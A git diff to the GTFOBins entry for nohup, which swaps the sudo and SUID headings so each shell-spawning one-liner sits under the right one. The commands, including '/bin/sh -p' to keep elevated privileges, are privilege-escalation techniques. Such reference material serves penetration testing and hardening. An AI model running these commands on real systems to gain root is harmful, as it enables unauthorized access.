diff --git a/_gtfobins/nohup.md b/_gtfobins/nohup.md index 2024e07..ff669c2 100644 --- a/_gtfobins/nohup.md +++ b/_gtfobins/nohup.md @@ -7,8 +7,8 @@ functions: COMMAND='/usr/bin/id' nohup "$COMMAND" cat nohup.out - sudo: - - code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)" suid: - - code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)" + - code: nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)" + sudo: + - code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)" ---